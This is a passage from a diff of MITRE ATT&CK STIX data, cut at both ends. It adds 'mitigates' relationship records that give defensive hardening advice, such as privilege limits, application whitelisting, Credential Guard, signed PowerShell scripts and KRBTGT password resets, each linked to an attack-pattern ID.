"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:27:13.190Z", + "id": "relationship--df2171ce-b48b-48d1-aa70-bc5514da033b", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T15:27:13.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "description": "Whitelist applications via known hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:28:31.824Z", + "id": "relationship--a6ef1c3f-291a-4ccb-961b-45a8b92effbe", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-18T15:28:31.824Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:32:39.956Z", + "id": "relationship--b6cbc9b8-f547-414a-8fb8-b493128c533e", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T15:32:39.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "description": "Restrict users from being able to create their own login items.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:33:06.165Z", + "id": "relationship--40417d08-36df-41b0-ac1f-aa9fa445e229", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T15:33:06.165Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "description": "On Windows 10 and Server 2016, enable Windows Defender Credential Guard to run lsass.exe in an isolated virtualized environment without any device drivers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:35:28.295Z", + "id": "relationship--b6b51b9a-040c-4860-ba44-811992df131d", + "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "modified": "2019-07-18T15:35:28.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:36:27.535Z", + "id": "relationship--a9f79f14-d160-4be5-8bbe-ad0b52770b9f", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T15:36:27.535Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "Use tools that restrict program execution via whitelisting by attributes other than file name for common operating system utilities that are needed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T15:46:37.654Z", + "id": "relationship--eb5ade8c-73e9-4b69-9dea-c8a8206dec25", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-09-10T17:44:59.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:20:52.405Z", + "id": "relationship--738a3345-87be-462f-b177-4831720ab1f7", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T16:20:52.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "Ensure proper network segmentation is followed to protect critical servers and devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:38:51.138Z", + "id": "relationship--80f94d40-0861-4403-b206-1c864a136788", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-10-23T14:20:49.862Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:43:26.127Z", + "id": "relationship--24f37698-b4a1-49fb-8de3-5e4529e99c41", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T16:43:26.127Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine. Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:52:10.043Z", + "id": "relationship--7da3b985-e6ab-4e29-aa53-30a621bd48d3", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-10-08T21:10:31.812Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Forms", + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" + }, + { + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "source_name": "SensePost Outlook Home Page", + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "Do not allow a domain user to be in the local administrator group on multiple systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:56:40.253Z", + "id": "relationship--ea374714-5df4-4858-83cb-5966a8d4d531", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T16:56:40.253Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:56:40.280Z", + "id": "relationship--48fc9c14-0ec3-460a-bb95-fe9a1566397e", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-18T16:56:40.280Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:59:03.979Z", + "id": "relationship--21a4afb6-8821-45ac-a80a-351ec3c79309", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "modified": "2019-07-18T16:59:03.979Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "Do not allow a user to be a local administrator for multiple systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T16:59:04.008Z", + "id": "relationship--616c6cf9-dc97-48f6-846b-50b63be7bbe3", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T16:59:04.008Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:02:26.200Z", + "id": "relationship--f0b67251-0588-4e5f-9b31-887b5746346e", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-18T17:02:26.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:08:41.171Z", + "id": "relationship--9a8e7eea-dbef-45b4-9b97-0d85b5defb83", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T17:08:41.171Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:11:15.628Z", + "id": "relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.606Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:15:10.792Z", + "id": "relationship--b188b994-7965-4c34-81d6-307f218ba80e", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T17:15:10.792Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "Set PowerShell execution policy to execute only signed scripts. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:15:10.820Z", + "id": "relationship--79568b8a-09c2-40fa-acd9-c7d369059b6a", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-07-18T17:15:10.820Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "description": "Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:19:08.784Z", + "id": "relationship--34f26e01-4568-47ef-8618-612e89207ee8", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-07-19T14:46:24.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:21:52.952Z", + "id": "relationship--8c10524a-c52a-4931-a246-959df48d4b63", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-07-18T17:21:52.952Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:27:05.228Z", + "id": "relationship--bcdd57cf-632f-4fc5-a8e8-d3137cb832e8", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "modified": "2019-07-18T17:27:05.228Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "###Linux\n\nUtilize Yama to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:27:05.291Z", + "id": "relationship--d3a267b8-2eba-4d97-8b10-0544e36e5fee", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T17:27:05.291Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:28:22.928Z", + "id": "relationship--3cb6f102-ebd2-4cd0-8bb4-02c04288c493", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T17:28:22.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "description": "Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:31:27.470Z", + "id": "relationship--ede8d04b-ac86-4210-af8c-52bb75fef6f3", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-31T19:26:36.119Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "Use application whitelisting to mitigate installation and use of unapproved software that can be used for remote access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:42:08.950Z", + "id": "relationship--54306888-1f93-4461-bcac-a56ae7073b31", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-18T17:42:08.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:42:08.974Z", + "id": "relationship--80a23356-20b7-49a3-a48e-e0c04e2bff86", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.577Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Use remote desktop gateways.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:46:12.289Z", + "id": "relationship--227f3705-ab28-4b5f-87d7-12bcf14c47f7", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "modified": "2019-07-18T17:46:12.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "Limit remote user permissions if remote access is necessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:46:12.319Z", + "id": "relationship--bea04550-f39b-4840-82f2-5da61457f696", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T17:46:12.319Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "Limit the accounts that may use remote services. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:50:43.801Z", + "id": "relationship--795ca238-c8cf-4735-98cc-593f1cc59b16", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T17:50:43.801Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "Limit the use of USB devices and removable media within a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:52:28.558Z", + "id": "relationship--5c245d0b-61e7-4558-8b36-32c846266af0", + "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "modified": "2019-07-18T17:52:28.558Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:56:46.196Z", + "id": "relationship--44cc2a12-21bd-405d-b3d4-ebbf03e28722", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-18T17:56:46.196Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "description": "Appropriate permissions should be applied such that only specific users can edit the startup items so that they can be leveraged for privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T17:58:17.216Z", + "id": "relationship--47759329-dbca-4902-ba28-e905e8a76640", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T17:58:17.216Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T18:21:44.870Z", + "id": "relationship--91e941a6-64bd-42ab-94f9-aa0e90f132ff", + "source_ref": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd", + "modified": "2019-07-25T19:04:11.590Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "source_name": "NSA MS AppLocker", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T18:26:38.307Z", + "id": "relationship--ae569020-4c3b-49b9-957d-2fcc32c627bb", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T18:26:38.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T18:46:58.831Z", + "id": "relationship--b0dafa5e-eb37-4af2-a7a4-8708416cceb1", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T18:46:58.831Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "description": "Limit user access to system utilities such as 'systemctl' to only users who have a legitimate need.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T18:46:58.853Z", + "id": "relationship--6acc95f3-596b-430d-9089-3485b27c8b8b", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T18:46:58.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T19:06:27.491Z", + "id": "relationship--7a20546a-c6be-4c1b-8b41-23cfb551f933", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T21:34:47.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T19:07:50.184Z", + "id": "relationship--43eebb80-4b8a-4690-a7e3-5f6f8e08db9f", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T21:34:47.462Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T19:12:52.384Z", + "id": "relationship--0c4d2678-b4e3-4f0a-b3a2-f0f6d218bfd4", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T19:12:52.384Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T19:18:32.950Z", + "id": "relationship--b5023b20-4243-4686-8b51-429ae7ac73cb", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T19:18:32.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": 